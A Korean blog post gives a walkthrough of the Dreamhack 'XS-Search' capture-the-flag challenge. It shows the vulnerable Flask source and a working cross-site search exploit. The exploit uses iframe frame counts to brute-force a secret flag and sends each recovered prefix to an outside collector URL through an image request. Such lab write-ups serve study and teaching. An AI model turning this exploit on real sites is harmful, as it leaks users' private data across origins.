외로운 Nova의 작업실

dreamhack - XS-Search write up 본문

Web Penetesting/Web Vulnerability

dreamhack - XS-Search write up

Nova_ 2023. 6. 5. 15:04

- 문제 인식

 

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.common.exceptions import TimeoutException
from urllib.parse import urlparse
from selenium import webdriver
from hashlib import md5
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

notes = {
    (FLAG, True), 
    ("Hello World", False), 
    ("DreamHack", False), 
    ("carpe diem, quam minimum credula postero", False)
}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(url)
    except TimeoutException as e:
        driver.quit()
        return True
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


@app.route("/")
def index():
    return render_template('index.html')


@app.route('/search')
def search():
    query = request.args.get('query', None)
    if query == None:
        return render_template("search.html", query=None, result=None)
    for note, private in notes:
        if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
            continue
        if query != "" and query in note:
            return render_template("search.html", query=query, result=note)
    return render_template("search.html", query=query, result=None)


@app.route("/submit", methods=["GET", "POST"])
def submit():
    if request.method == "GET":
        return render_template("submit.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        if not urlparse(url).scheme.startswith("http"):
            return '<script>alert("wrong url");history.go(-1);</script>'
        if not read_url(url):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


app.run(host="0.0.0.0", port=8000)
//search.html
{% extends "base.html" %}
{% block title %}Search{% endblock %}

{% block head %}
  {{ super() }}
{% endblock %}

{% block content %}
<h2>Search</h2><br/>
{% if result %}
  <h3>Searching "{{ query }}" found</h3>
  <iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
  <h3> Searching "{{ query }}" not found</h3>
{% else %}
  <form method="GET" class="form-inline">
      <div class="form-group">
          <label class="sr-only" for="query">/</label>
          <div class="input-group">
              <div class="input-group-addon">Query: </div>
              <input type="text" class="form-control" id="query" name="query" placeholder="DreamHack">
          </div>
      </div>
      <button type="submit" class="btn btn-primary">Search</button>
  </form>
{% endif %}
{% endblock %}

 

<문제 인식 및 설계>

flag를 찾으려면 127.0.0.1로 /search 경로로 접속을해서 query에 FLAG에 들어있는 값을 주면 flag값이 나옵니다. 다만, 127.0.0.1즉, 자기자신에게만 보인다는게 문제점입니다. 그러면 우리가 다룰 수 있는게 없으니 우리의 html에 iframe 태그를 사용해서 머신이 /search 경로로 들어가서 flag 값을 받아오게해야합니다. 이후 iframe안의 pre태그의 text값을 우리의 서버로 보내주면 참 좋겠지만, SOP 정책에따라 iframe안의 text값을 추출할 수 없습니다. 단, 예외적으로 허용되는게 몇가지 있습니다. 그중에서 iframeElement.contentWindow.frames.length 속성에 접근할 수 있습니다. flag값이 있으면 <pre>태그가 존재하니 length는 1이 될 것이고 flag 가없다면 legth는 0이 될 것입니다. 이를 이용해서 문제를 풀이할 수 있습니다.

 

<exploit>

<iframe id="iframe"></iframe>

<img id="img">

<script>

    async function req(url) {

        return await new Promise((resolve, reject) => {

            const iframe = document.getElementById("iframe");

            iframe.src = url;

            iframe.onload = () => { 

                if (iframe.contentWindow.frames.length != 0)

                    return resolve();

                else

                    return reject();

            };

        });

    }

    async function search(query) {

        try {

            await req(

              `http://localhost:8000/search?query=${query}`

            );

            return true;

        } catch (e) {

            return false;

        }

    }

    async function exploit() {

        let chars = "0123456789abcdef}"

        let secret = "DH{";

        while (!secret.includes("}")) {

            for (let c of chars) {

                if (await search(secret + c)) {

                    secret += c;

                    img.src = `https://okuwmbp.request.dreamhack.games/${secret}`;

                    break;

                }

            }

        }

    }

    exploit();

</script>

exploit 코드를 우리의 서버에 올려놓고 그서버에 접근할 수 있도록 /submit에 넣어줍니다. 그러면 드림핵툴로 플래그값이 오게됩니다.

Comments